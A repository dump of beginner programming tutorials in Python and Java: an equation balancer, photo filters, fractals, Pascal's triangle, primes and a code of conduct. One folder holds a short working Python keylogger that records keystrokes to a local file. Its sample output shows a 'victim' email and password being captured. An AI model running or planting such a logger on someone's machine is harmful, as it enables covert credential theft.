encouraging participants to recognize and strengthen the relationships between our actions and their effects on our community. 14 | 15 | Communities mirror the societies in which they exist and positive action is essential to counteract the many forms of inequality and abuses of power that exist in society. 16 | 17 | If you see someone who is making an extra effort to ensure our community is welcoming, friendly, and encourages all participants to contribute to the fullest extent, we want to know. 18 | 19 | ## 3. Expected Behavior 20 | 21 | The following behaviors are expected and requested of all community members: 22 | 23 | * Participate in an authentic and active way. In doing so, you contribute to the health and longevity of this community. 24 | * Exercise consideration and respect in your speech and actions. 25 | * Attempt collaboration before conflict. 26 | * Refrain from demeaning, discriminatory, or harassing behavior and speech. 27 | * Be mindful of your surroundings and of your fellow participants. Alert community leaders if you notice a dangerous situation, someone in distress, or violations of this Code of Conduct, even if they seem inconsequential. 28 | * Remember that community event venues may be shared with members of the public; please be respectful to all patrons of these locations. 29 | 30 | ## 4. Unacceptable Behavior 31 | 32 | The following behaviors are considered harassment and are unacceptable within our community: 33 | 34 | * Violence, threats of violence or violent language directed against another person. 35 | * Sexist, racist, homophobic, transphobic, ableist or otherwise discriminatory jokes and language. 36 | * Posting or displaying sexually explicit or violent material. 37 | * Posting or threatening to post other people’s personally identifying information ("doxing"). 38 | * Personal insults, particularly those related to gender, sexual orientation, race, religion, or disability. 39 | * Inappropriate photography or recording. 40 | * Inappropriate physical contact. You should have someone’s consent before touching them. 41 | * Unwelcome sexual attention. This includes, sexualized comments or jokes; inappropriate touching, groping, and unwelcomed sexual advances. 42 | * Deliberate intimidation, stalking or following (online or in person). 43 | * Advocating for, or encouraging, any of the above behavior. 44 | * Sustained disruption of community events, including talks and presentations. 45 | 46 | ## 5. Consequences of Unacceptable Behavior 47 | 48 | Unacceptable behavior from any community member, including sponsors and those with decision-making authority, will not be tolerated. 49 | 50 | Anyone asked to stop unacceptable behavior is expected to comply immediately. 51 | 52 | If a community member engages in unacceptable behavior, the community organizers may take any action they deem appropriate, up to and including a temporary ban or permanent expulsion from the community without warning (and without refund in the case of a paid event). 53 | 54 | ## 6. Reporting Guidelines 55 | 56 | If you are subject to or witness unacceptable behavior, or have any other concerns, please notify a community organizer as soon as possible. syntheticprogramming@gmail.com. 57 | 58 | 59 | 60 | Additionally, community organizers are available to help community members engage with local law enforcement or to otherwise help those experiencing unacceptable behavior feel safe. In the context of in-person events, organizers will also provide escorts as desired by the person experiencing distress. 61 | 62 | ## 7. Addressing Grievances 63 | 64 | If you feel you have been falsely or unfairly accused of violating this Code of Conduct, you should notify Apsis with a concise description of your grievance. Your grievance will be handled in accordance with our existing governing policies. 65 | 66 | 67 | 68 | ## 8. Scope 69 | 70 | We expect all community participants (contributors, paid or otherwise; sponsors; and other guests) to abide by this Code of Conduct in all community venues–online and in-person–as well as in all one-on-one communications pertaining to community business. 71 | 72 | This code of conduct and its related procedures also applies to unacceptable behavior occurring outside the scope of community activities when such behavior has the potential to adversely affect the safety and well-being of community members. 73 | 74 | ## 9. Contact info 75 | 76 | syntheticprogramming@gmail.com 77 | 78 | ## 10. License and attribution 79 | 80 | This Code of Conduct is distributed under a [Creative Commons Attribution-ShareAlike license](http://creativecommons.org/licenses/by-sa/3.0/). 81 | 82 | Portions of text derived from the [Django Code of Conduct](https://www.djangoproject.com/conduct/) and the [Geek Feminism Anti-Harassment Policy](http://geekfeminism.wikia.com/wiki/Conference_anti-harassment/Policy). 83 | 84 | Retrieved on November 22, 2016 from [http://citizencodeofconduct.org/](http://citizencodeofconduct.org/) 85 | -------------------------------------------------------------------------------- /Chemical Equation Balancer/README.md: -------------------------------------------------------------------------------- 1 | Project: 2 | - This is the code from the Synthetic Programming tutorial "How to Program: A Chemical Reaction Balancer in Python" 3 | - Video: https://www.youtube.com/watch?v=Zk3tzDmDRfU 4 | 5 | Includes: 6 | - chemexamples.txt (chemical equation examples to test out) 7 | - equation.py (the Equation class) 8 | - main.py (the main function that runs the balancer) 9 | 10 | Note: 11 | - The program may not run unless you copy the code into an IDE (like PyCharm) 12 | 13 | Version: 14 | - Uses Python 3.5.2 or greater 15 | -------------------------------------------------------------------------------- /Chemical Equation Balancer/chemexamples.txt: -------------------------------------------------------------------------------- 1 | ======================================================== 2 | === Equation Examples to Try: === 3 | ======================================================== 4 | === === 5 | === Combustion of hydrogen: === 6 | === === 7 | === (H)2 + (O)2 = (H)2(O)1 === 8 | === === 9 | ======================================================== 10 | === === 11 | === Combustion of methane: === 12 | === === 13 | === (C)1(H)4 + (O)2 = (C)1(O)2 + (H)2(O)1 === 14 | === === 15 | ======================================================== 16 | === === 17 | === Silver in hydrochloric acid: === 18 | === === 19 | === (Ag)1 + (H)1(Cl)1 = (Ag)1(Cl)1 + (H)2 === 20 | === === 21 | ======================================================== 22 | === === 23 | === Photosynthesis (simplified): === 24 | === === 25 | === (C)1(O)2 + (H)2(O)1 = (C)6(H)12(O)6 + (O)2 === 26 | === === 27 | ======================================================== 28 | === === 29 | === Potassium hydroxide in hydrochloric acid: === 30 | === === 31 | === (H)1(Cl)1 + (K)1(O)1(H)1 = (K)1(Cl)1 + (H)2(O)1 === 32 | === === 33 | ======================================================== -------------------------------------------------------------------------------- /Chemical Equation Balancer/equation.py: -------------------------------------------------------------------------------- 1 | from random import randint 2 | from math import gcd 3 | from functools import reduce 4 | 5 | 6 | class Equation: 7 | """ 8 | A chemical equation 9 | 10 | === Attributes === 11 | @type left: list[dict] 12 | @type right: list[dict] 13 | """ 14 | def __init__(self, equation): 15 | """ 16 | Initializes an Equation object 17 | 18 | @type self: Equation 19 | @type equation: str 20 | @rtype: None 21 | """ 22 | self.left = list() 23 | self.right = list() 24 | self.balanced = True 25 | 26 | integers = '0123456789' 27 | split = equation.split(' = ') 28 | left = split[0] 29 | right = split[1] 30 | left_components = left.split(' + ') 31 | right_components = right.split(' + ') 32 | total_left = dict() 33 | total_right = dict() 34 | 35 | for component in left_components: 36 | left_counts = dict() 37 | for ind in range(0, len(component)): 38 | if component[ind] == ')': 39 | if component[ind - 2] == '(': 40 | element = component[ind - 1] 41 | elif component[ind - 3] == '(': 42 | element = component[ind - 2:ind] 43 | try: 44 | if component[ind + 3] in integers: 45 | number = int(component[ind + 1:ind + 4]) 46 | elif component[ind + 2] in integers: 47 | number = int(component[ind + 1:ind + 3]) 48 | else: 49 | number = int(component[ind + 1]) 50 | except IndexError: 51 | try: 52 | if component[ind + 2] in integers: 53 | number = int(component[ind + 1:ind + 3]) 54 | else: 55 | number = int(component[ind + 1]) 56 | except IndexError: 57 | number = int(component[ind + 1]) 58 | if element in left_counts: 59 | left_counts[element] += number 60 | else: 61 | left_counts[element] = number 62 | if element in total_left: 63 | total_left[element] += number 64 | else: 65 | total_left[element] = number 66 | self.left.append(left_counts) 67 | 68 | for component in right_components: 69 | right_counts = dict() 70 | for ind in range(0, len(component)): 71 | if component[ind] == ')': 72 | if component[ind - 2] == '(': 73 | element = component[ind - 1] 74 | elif component[ind - 3] == '(': 75 | element = component[ind - 2:ind] 76 | try: 77 | if component[ind + 3] in integers: 78 | number = int(component[ind + 1:ind + 4]) 79 | elif component[ind + 2] in integers: 80 | number = int(component[ind + 1:ind + 3]) 81 | else: 82 | number = int(component[ind + 1]) 83 | except IndexError: 84 | try: 85 | if component[ind + 2] in integers: 86 | number = int(component[ind + 1:ind + 3]) 87 | else: 88 | number = int(component[ind + 1]) 89 | except IndexError: 90 | number = int(component[ind + 1]) 91 | if element in right_counts: 92 | right_counts[element] += number 93 | else: 94 | right_counts[element] = number 95 | if element in total_right: 96 | total_right[element] += number 97 | else: 98 | total_right[element] = number 99 | self.right.append(right_counts) 100 | 101 | for key in total_left: 102 | if total_left[key] != total_right[key]: 103 | self.balanced = False 104 | else: 105 | continue 106 | 107 | def balance(self): 108 | """ 109 | Actually balances the Equation object 110 | 111 | @type self: Equation 112 | @rtype: str 113 | """ 114 | if self.balanced: 115 | string = str() 116 | for dictionary in self.left: 117 | compound = str() 118 | for key in dictionary: 119 | compound += key 120 | compound += str(dictionary[key]) 121 | string += compound 122 | string += ' + ' 123 | string = string[:len(string) - 3] + ' = ' 124 | for dictionary in self.right: 125 | compound = str() 126 | for key in dictionary: 127 | compound += key 128 | compound += str(dictionary[key]) 129 | string += compound 130 | string += ' + ' 131 | string = string[:len(string) - 2] 132 | return string 133 | else: 134 | while not self.balanced: 135 | temp_left = list() 136 | temp_right = list() 137 | total_left = dict() 138 | total_right = dict() 139 | 140 | for item in self.left: 141 | new_dict = dict() 142 | for key in item: 143 | new_dict[key] = item[key] 144 | temp_left.append(new_dict) 145 | 146 | for item in self.right: 147 | new_dict = dict() 148 | for key in item: 149 | new_dict[key] = item[key] 150 | temp_right.append(new_dict) 151 | 152 | left_coefficients = [randint(1, 10) for _ in range(len(temp_left))] 153 | right_coefficients = [randint(1, 10) for _ in range(len(temp_right))] 154 | 155 | for index in range(0, len(left_coefficients)): 156 | for key in temp_left[index]: 157 | temp_left[index][key] *= left_coefficients[index] 158 | if key not in total_left: 159 | total_left[key] = temp_left[index][key] 160 | else: 161 | total_left[key] += temp_left[index][key] 162 | 163 | for index in range(0, len(right_coefficients)): 164 | for key in temp_right[index]: 165 | temp_right[index][key] *= right_coefficients[index] 166 | if key not in total_right: 167 | total_right[key] = temp_right[index][key] 168 | else: 169 | total_right[key] += temp_right[index][key] 170 | 171 | self.balanced = True 172 | for key in total_left: 173 | if total_left[key] != total_right[key]: 174 | self.balanced = False 175 | else: 176 | continue 177 | 178 | big_tup = tuple(left_coefficients + right_coefficients) 179 | left_coefficients = list(map(lambda x: int(x / reduce(gcd, big_tup)), left_coefficients)) 180 | right_coefficients = list(map(lambda x: int(x / reduce(gcd, big_tup)), right_coefficients)) 181 | 182 | string = str() 183 | for index in range(0, len(self.left)): 184 | if left_coefficients[index] != 1: 185 | compound = str(left_coefficients[index]) 186 | else: 187 | compound = str() 188 | for key in self.left[index]: 189 | compound += key 190 | if self.left[index][key] != 1: 191 | compound += str(self.left[index][key]) 192 | else: 193 | continue 194 | string += compound 195 | string += ' + ' 196 | string = string[:len(string) - 3] + ' = ' 197 | for index in range(0, len(self.right)): 198 | if right_coefficients[index] != 1: 199 | compound = str(right_coefficients[index]) 200 | else: 201 | compound = str() 202 | for key in self.right[index]: 203 | compound += key 204 | if self.right[index][key] != 1: 205 | compound += str(self.right[index][key]) 206 | else: 207 | continue 208 | string += compound 209 | string += ' + ' 210 | string = string[:len(string) - 2] 211 | return string 212 | -------------------------------------------------------------------------------- /Chemical Equation Balancer/main.py: -------------------------------------------------------------------------------- 1 | from equation import Equation 2 | from time import sleep 3 | 4 | 5 | def run_balance(): 6 | """ 7 | Runs the chemical equation balance algorithm 8 | """ 9 | print('=================================================') 10 | print('Insert chemical equation with elements in\nparentheses followed by the number of atoms:') 11 | print('Example: (H)2 + (O)2 = (H)2(O)1') 12 | user_input = input('>>> ') 13 | try: 14 | equation = Equation(user_input) 15 | print('Balanced equation: ' + equation.balance()) 16 | sleep(3) 17 | run_balance() 18 | except IndexError: 19 | print('Invalid input...') 20 | sleep(3) 21 | run_balance() 22 | 23 | run_balance() 24 | -------------------------------------------------------------------------------- /Custom Filters/README.md: -------------------------------------------------------------------------------- 1 | Project: 2 | - This is the code from the Synthetic Programming video "How to Program Custom Photo Filters for Social Media (In Python)" 3 | - Video: https://www.youtube.com/watch?v=fkY_cYUtdTo 4 | 5 | Includes: 6 | - main.py (Runs the program) 7 | - photo.jpg (test photo 1) 8 | - out.jpg (test photo 1 filtered) 9 | - photo2.jpg (test photo 2) 10 | - out2.jpg (test photo 2 filtered) 11 | 12 | Note: 13 | - This program runs on Python 14 | 15 | Version: 16 | - Python 3 or later with PIL module installed 17 | -------------------------------------------------------------------------------- /Custom Filters/main.py: -------------------------------------------------------------------------------- 1 | from PIL import Image 2 | from random import random 3 | 4 | 5 | def filter_image(path, shifts=list()): 6 | if len(shifts) == 0: 7 | shifts = [random() for _ in range(9)] 8 | im = Image.open(path) 9 | photo = list(im.getdata()) 10 | filtered = list() 11 | for pixel in photo: 12 | r, g, b = pixel 13 | new_r = ((r * shifts[0]) + (g * shifts[1]) + (b * shifts[2])) 14 | new_g = ((r * shifts[3]) + (g * shifts[4]) + (b * shifts[5])) 15 | new_b = ((r * shifts[6]) + (g * shifts[7]) + (b * shifts[8])) 16 | filtered.append((int(new_r), int(new_g), int(new_b))) 17 | im.putdata(filtered) 18 | im.save('out.jpg') 19 | print(shifts) 20 | 21 | 22 | # FILTERS photo.jpg with the filter in the YouTube video. Change photo.jpg to photo2.jpg 23 | # to filter the other photo. Remove the shifts list below to make random filters. 24 | filter_image('photo.jpg', [0.4326218451730057, 0.5030069461916604, 0.060251308573529894, 25 | 0.16957230426719494, 0.30730402583748595, 0.3401588777740414, 26 | 0.707616569530353, 0.07909720665536601, 0.276371896353369]) 27 | -------------------------------------------------------------------------------- /Custom Filters/out.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Apsis/Synthetic-Programming/a0c173300b370c795b737b8fc41f4a8a6f3ef219/Custom Filters/out.jpg -------------------------------------------------------------------------------- /Custom Filters/out2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Apsis/Synthetic-Programming/a0c173300b370c795b737b8fc41f4a8a6f3ef219/Custom Filters/out2.jpg -------------------------------------------------------------------------------- /Custom Filters/photo.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Apsis/Synthetic-Programming/a0c173300b370c795b737b8fc41f4a8a6f3ef219/Custom Filters/photo.jpg -------------------------------------------------------------------------------- /Custom Filters/photo2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Apsis/Synthetic-Programming/a0c173300b370c795b737b8fc41f4a8a6f3ef219/Custom Filters/photo2.jpg -------------------------------------------------------------------------------- /Java Hello World/HelloWorld.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Apsis/Synthetic-Programming/a0c173300b370c795b737b8fc41f4a8a6f3ef219/Java Hello World/HelloWorld.class -------------------------------------------------------------------------------- /Java Hello World/HelloWorld.java: -------------------------------------------------------------------------------- 1 | public class HelloWorld { 2 | 3 | public static void main(String [] args){ 4 | 5 | System.out.println("Hello World (It worked!)"); 6 | } 7 | } -------------------------------------------------------------------------------- /Java Hello World/README.md: -------------------------------------------------------------------------------- 1 | Project: 2 | - This is the code from the Synthetic Programming tutorial "How to Program: A Hello World Program in Java" 3 | - Video: https://www.youtube.com/watch?v=BjUxNatV1Xo 4 | 5 | Includes: 6 | - HelloWorld.java (the java code) 7 | - HelloWorld.class (the compiled class file) 8 | 9 | Version: 10 | - Uses Java SDK 8u151 (http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html) 11 | -------------------------------------------------------------------------------- /Julia Set Generator/README.md: -------------------------------------------------------------------------------- 1 | Project: 2 | - This is the code from the Synthetic Programming tutorial "How to Program: A Julia Set Fractal Generator in Python" 3 | - Video: https://www.youtube.com/watch?v=fYqBuXc12VM 4 | 5 | Includes: 6 | - main.py (the main function that runs the generator) 7 | - example.pgm (A fractal image example generated by the program in PGM format) 8 | 9 | Version: 10 | - Uses Python 3.5.2 or greater 11 | -------------------------------------------------------------------------------- /Julia Set Generator/main.py: -------------------------------------------------------------------------------- 1 | import numpy 2 | 3 | 4 | def generate_julia(): 5 | """ 6 | Generates a Julia set image 7 | """ 8 | print('=========================================================') 9 | 10 | w = int(input('Enter width of image: ')) 11 | h = int(input('Enter height of image: ')) 12 | f = float(input('Enter a value between 0 and 1 (like 0.75): ')) 13 | name_input = input('Enter name of file (a good name is "output"): ') 14 | 15 | re_min = -2.0 16 | re_max = 2.0 17 | im_min = -2.0 18 | im_max = 2.0 19 | name = (str(name_input) + '.pgm') 20 | c = complex(0.0, f) 21 | real_range = numpy.arange(re_min, re_max, (re_max - re_min) / w) 22 | image_range = numpy.arange(im_max, im_min, (im_min - im_max) / h) 23 | output = open(name, 'w') 24 | output.write('P2\n# Julia Set image\n' + str(w) + ' ' + str(h) + '\n255\n') 25 | for im in image_range: 26 | for re in real_range: 27 | z = complex(re, im) 28 | n = 255 29 | while abs(z) < 10 and n >= 5: 30 | z = z * z + c 31 | n -= 5 32 | output.write(str(n) + ' ') 33 | output.write('\n') 34 | output.close() 35 | 36 | print('Created photo ' + name) 37 | print('=========================================================') 38 | 39 | generate_julia() 40 | -------------------------------------------------------------------------------- /Keylogger/README.md: -------------------------------------------------------------------------------- 1 | Project: 2 | - This is the code from the Synthetic Programming video "How to Program: A Keylogger in Python (Only 17 lines!)" 3 | - Video: https://www.youtube.com/watch?v=SGQphC-Odf4 4 | 5 | Includes: 6 | - main.py (Runs the program) 7 | - kld9301.txt (The example output file from the video) 8 | 9 | Note: 10 | - This program runs on Python 11 | 12 | Version: 13 | - Python 3 14 | -------------------------------------------------------------------------------- /Keylogger/kld9301.txt: -------------------------------------------------------------------------------- 1 | 'v' pressed 2 | 'v' released 3 | 'i' pressed 4 | 'i' released 5 | 'c' pressed 6 | 'c' released 7 | 't' pressed 8 | 't' released 9 | 'i' pressed 10 | 'i' released 11 | 'm' pressed 12 | 'm' released 13 | Key.shift_r pressed 14 | Key.shift_r released 15 | Key.shift_r pressed 16 | '2' pressed 17 | '2' released 18 | Key.shift_r released 19 | Key.space pressed 20 | Key.space released 21 | Key.backspace pressed 22 | Key.backspace released 23 | 'g' pressed 24 | 'g' released 25 | 'm' pressed 26 | 'm' released 27 | 'a' pressed 28 | 'a' released 29 | 'i' pressed 30 | 'i' released 31 | 'l' pressed 32 | 'l' released 33 | '.' pressed 34 | '.' released 35 | 'c' pressed 36 | 'c' released 37 | 'o' pressed 38 | 'm' pressed 39 | 'o' released 40 | 'm' released 41 | Key.shift_r pressed 42 | 'p' pressed 43 | 'p' released 44 | Key.shift_r released 45 | 'a' pressed 46 | 'a' released 47 | 's' pressed 48 | 's' released 49 | 's' pressed 50 | 's' released 51 | 'w' pressed 52 | 'w' released 53 | 'o' pressed 54 | 'o' released 55 | 'r' pressed 56 | 'r' released 57 | 'd' pressed 58 | 'd' released 59 | Key.enter pressed 60 | Key.enter released 61 | -------------------------------------------------------------------------------- /Keylogger/main.py: -------------------------------------------------------------------------------- 1 | from random import randint 2 | from pynput.keyboard import Key, Listener 3 | 4 | 5 | output = 'kld' + str(randint(0, 10000)) + '.txt' 6 | 7 | with open(output, 'w') as f: 8 | f.close() 9 | 10 | 11 | def on_press(key): 12 | with open(output, 'a') as f: 13 | f.write('{0} pressed\n'.format(key)) 14 | f.close() 15 | 16 | 17 | def on_release(key): 18 | with open(output, 'a') as f: 19 | f.write('{0} released\n'.format(key)) 20 | f.close() 21 | if key == Key.esc: 22 | return False 23 | 24 | 25 | with Listener(on_press=on_press, on_release=on_release) as listener: 26 | listener.join() 27 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 Synthetic 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Pascal's Triangle in Java/Pascal's Triangle (Using Binomial Coefficients)/Pascal_Binomial.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Apsis/Synthetic-Programming/a0c173300b370c795b737b8fc41f4a8a6f3ef219/Pascal's Triangle in Java/Pascal's Triangle (Using Binomial Coefficients)/Pascal_Binomial.class -------------------------------------------------------------------------------- /Pascal's Triangle in Java/Pascal's Triangle (Using Binomial Coefficients)/Pascal_Binomial.java: -------------------------------------------------------------------------------- 1 | import java.util.Scanner; 2 | 3 | public class Pascal_Binomial { 4 | 5 | public static void print(int row) { 6 | for (int n = 0; n < row; n++) { 7 | for (int k = 0; k <= n; k++) { 8 | System.out.print(nCk(n, k) + " "); 9 | } 10 | System.out.println(); 11 | } 12 | } 13 | 14 | public static int nCk(int n, int k) { 15 | int numerator = fact(n); 16 | int denominator = fact(k) * fact(n - k); 17 | int result = (int) (numerator / denominator); 18 | return result; 19 | } 20 | 21 | public static int fact(int num) { 22 | int result = 1; 23 | for (int i = 1; i <= num; i++) { 24 | result = result * i; 25 | } 26 | return result; 27 | } 28 | 29 | public static void main(String[] args) { 30 | Scanner scanner = new Scanner(System.in); 31 | System.out.print("Enter the maximum row number to process: "); 32 | int row = scanner.nextInt(); 33 | print(row); 34 | } 35 | } -------------------------------------------------------------------------------- /Pascal's Triangle in Java/Pascal's Triangle (Using Binomial Coefficients)/README.md: -------------------------------------------------------------------------------- 1 | Project: 2 | - This is the code from the Synthetic Programming tutorial "How to Program: Pascal's Triangle in Java (Using Binomial Coefficients)" 3 | - Video: https://www.youtube.com/watch?v=W89FKhuJE8U 4 | 5 | Includes: 6 | - Pascal_Binomial.java (the java code) 7 | - Pascal_Binomial.class (the compiled class file) 8 | 9 | Version: 10 | - Uses Java SDK 8u151 (http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html) 11 | -------------------------------------------------------------------------------- /Pascal's Triangle in Java/Pascal's Triangle (Using Loops)/Pascal_Loops.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Apsis/Synthetic-Programming/a0c173300b370c795b737b8fc41f4a8a6f3ef219/Pascal's Triangle in Java/Pascal's Triangle (Using Loops)/Pascal_Loops.class -------------------------------------------------------------------------------- /Pascal's Triangle in Java/Pascal's Triangle (Using Loops)/Pascal_Loops.java: -------------------------------------------------------------------------------- 1 | import java.util.Scanner; 2 | 3 | public class Pascal_Loops { 4 | 5 | public static void print(int n) { 6 | int[] previousRow; 7 | int[] currentRow = {1}; 8 | printArray(currentRow); 9 | previousRow = currentRow; 10 | for (int i = 2; i <= n; i++) { 11 | currentRow = new int[i]; 12 | currentRow[0] = 1; 13 | currentRow[i - 1] = 1; 14 | for (int j = 0; j <= i - 3; j++) { 15 | currentRow[j + 1] = previousRow[j] + previousRow[j + 1]; 16 | } 17 | printArray(currentRow); 18 | previousRow = currentRow; 19 | } 20 | } 21 | 22 | public static void printArray(int[] array) { 23 | for (int i = 0; i < array.length; i++) { 24 | System.out.print(array[i] + " "); 25 | } 26 | System.out.println(); 27 | } 28 | 29 | public static void main(String[] args) { 30 | Scanner scanner = new Scanner(System.in); 31 | System.out.print("Enter the maximum row to process: "); 32 | int row = scanner.nextInt(); 33 | print(row); 34 | } 35 | } -------------------------------------------------------------------------------- /Pascal's Triangle in Java/Pascal's Triangle (Using Loops)/README.md: -------------------------------------------------------------------------------- 1 | Project: 2 | - This is the code from the Synthetic Programming tutorial "How to Program: Pascal's Triangle in Java (Using Loops)" 3 | - Video: https://www.youtube.com/watch?v=snt1FyaKUkQ 4 | 5 | Includes: 6 | - PascalLoops.java (the java code) 7 | - PascalLoops.class (the compiled class file) 8 | 9 | Version: 10 | - Uses Java SDK 8u151 (http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html) 11 | -------------------------------------------------------------------------------- /Pascal's Triangle in Java/Pascal's Triangle (Using Recursion)/Pascal_Recursion.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Apsis/Synthetic-Programming/a0c173300b370c795b737b8fc41f4a8a6f3ef219/Pascal's Triangle in Java/Pascal's Triangle (Using Recursion)/Pascal_Recursion.class -------------------------------------------------------------------------------- /Pascal's Triangle in Java/Pascal's Triangle (Using Recursion)/Pascal_Recursion.java: -------------------------------------------------------------------------------- 1 | import java.util.Scanner; 2 | 3 | public class Pascal_Recursion { 4 | 5 | public static void print(int n) { 6 | for (int i = 0; i < n; i++) { 7 | for (int j = 0; j <= i; j++) { 8 | System.out.print(pascal(i, j) + " "); 9 | } 10 | System.out.println(); 11 | } 12 | } 13 | 14 | public static int pascal(int i, int j) { 15 | if (j == 0) { 16 | return 1; 17 | } else if (j == i) { 18 | return 1; 19 | } else { 20 | return pascal(i - 1, j - 1) + pascal(i - 1, j); 21 | } 22 | } 23 | 24 | public static void main(String[] args) { 25 | Scanner scanner = new Scanner(System.in); 26 | System.out.print("Enter the maximum row number to process: "); 27 | int row = scanner.nextInt(); 28 | print(row); 29 | } 30 | } -------------------------------------------------------------------------------- /Pascal's Triangle in Java/Pascal's Triangle (Using Recursion)/README.md: -------------------------------------------------------------------------------- 1 | Project: 2 | - This is the code from the Synthetic Programming tutorial "How to Program: Pascal's Triangle in Java (Using Recursion)" 3 | - Video: https://www.youtube.com/watch?v=N7mox7942f4 4 | 5 | Includes: 6 | - Pascal_Recursion.java (the java code) 7 | - Pascal_Recursion.class (the compiled class file) 8 | 9 | Version: 10 | - Uses Java SDK 8u151 (http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html) 11 | -------------------------------------------------------------------------------- /Prime Number Finder/README.md: -------------------------------------------------------------------------------- 1 | Project: 2 | - This is the code from the Synthetic Programming tutorial "How to Program: A Prime Number Finder in Python" 3 | - Video: https://www.youtube.com/watch?v=qi7rxCMYNdQ 4 | 5 | Includes: 6 | - main.py (contains the main function of the prime finder) 7 | - example_primes.txt (an example output) 8 | 9 | Version: 10 | - Uses Python 3.5.2 or greater 11 | -------------------------------------------------------------------------------- /Prime Number Finder/example_primes.txt: -------------------------------------------------------------------------------- 1 | 2 2 | 3 3 | 5 4 | 7 5 | 11 6 | 13 7 | 17 8 | 19 9 | 23 10 | 29 11 | 31 12 | 37 13 | 41 14 | 43 15 | 47 16 | 53 17 | 59 18 | 61 19 | 67 20 | 71 21 | 73 22 | 79 23 | 83 24 | 89 25 | 97 26 | 101 27 | 103 28 | 107 29 | 109 30 | 113 31 | 127 32 | 131 33 | 137 34 | 139 35 | 149 36 | 151 37 | 157 38 | 163 39 | 167 40 | 173 41 | 179 42 | 181 43 | 191 44 | 193 45 | 197 46 | 199 47 | 211 48 | 223 49 | 227 50 | 229 51 | 233 52 | 239 53 | 241 54 | 251 55 | 257 56 | 263 57 | 269 58 | 271 59 | 277 60 | 281 61 | 283 62 | 293 63 | 307 64 | 311 65 | 313 66 | 317 67 | 331 68 | 337 69 | 347 70 | 349 71 | 353 72 | 359 73 | 367 74 | 373 75 | 379 76 | 383 77 | 389 78 | 397 79 | 401 80 | 409 81 | 419 82 | 421 83 | 431 84 | 433 85 | 439 86 | 443 87 | 449 88 | 457 89 | 461 90 | 463 91 | 467 92 | 479 93 | 487 94 | 491 95 | 499 96 | 503 97 | 509 98 | 521 99 | 523 100 | 541 101 | 547 102 | 557 103 | 563 104 | 569 105 | 571 106 | 577 107 | 587 108 | 593 109 | 599 110 | 601 111 | 607 112 | 613 113 | 617 114 | 619 115 | 631 116 | 641 117 | 643 118 | 647 119 | 653 120 | 659 121 | 661 122 | 673 123 | 677 124 | 683 125 | 691 126 | 701 127 | 709 128 | 719 129 | 727 130 | 733 131 | 739 132 | 743 133 | 751 134 | 757 135 | 761 136 | 769 137 | 773 138 | 787 139 | 797 140 | 809 141 | 811 142 | 821 143 | 823 144 | 827 145 | 829 146 | 839 147 | 853 148 | 857 149 | 859 150 | 863 151 | 877 152 | 881 153 | 883 154 | 887 155 | 907 156 | 911 157 | 919 158 | 929 159 | 937 160 | 941 161 | 947 162 | 953 163 | 967 164 | 971 165 | 977 166 | 983 167 | 991 168 | 997 169 | -------------------------------------------------------------------------------- /Prime Number Finder/main.py: -------------------------------------------------------------------------------- 1 | from math import sqrt 2 | from itertools import count, islice 3 | 4 | 5 | def prime_test(n): 6 | """ 7 | Tests if a number is prime 8 | """ 9 | if n < 2: 10 | return False 11 | for number in islice(count(2), int(sqrt(n)-1)): 12 | if not n%number: 13 | return False 14 | return True 15 | 16 | 17 | def find_primes(): 18 | """ 19 | Finds all primes between a and b and writes them to a file 20 | """ 21 | print('==============================================') 22 | a = int(input('Enter start number: ')) 23 | b = int(input('Enter end number: ')) 24 | output = input('Enter output filename: ') 25 | print('Working...') 26 | primes_list = list() 27 | for i in range(a, b+1): 28 | if prime_test(i): 29 | primes_list.append(str(i) + '\n') 30 | else: 31 | continue 32 | with open(output, 'w') as o: 33 | for item in primes_list: 34 | o.write(item) 35 | o.close() 36 | print('Done! Created file ' + output) 37 | print('==============================================') 38 | 39 | find_primes() 40 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Synthetic Programming GitHub 2 | Synthetic Programming code from tutorials and other videos 3 | 4 | Channel: https://www.youtube.com/syntheticprogramming 5 | 6 | # What is this? 7 | This is the repository for all future Synthetic Programming projects. In this repository you can find code for all videos where code is written or included. 8 | 9 | # Any questions? 10 | Comment on the videos with questions/suggestions and I'l try to answer them the best I can! 11 | 12 | - Athan (Synthetic) 13 | -------------------------------------------------------------------------------- /Simple Calculator/README.md: -------------------------------------------------------------------------------- 1 | Project: 2 | - This is the code from the Synthetic Programming tutorial "How to Program: A Simple Calculator in Python" 3 | - Video: https://www.youtube.com/watch?v=VWHo8APhcMk 4 | 5 | Includes: 6 | - functions.py (contains all of the mathematical operations and functions) 7 | - main.py (the main function that runs the calculator) 8 | 9 | 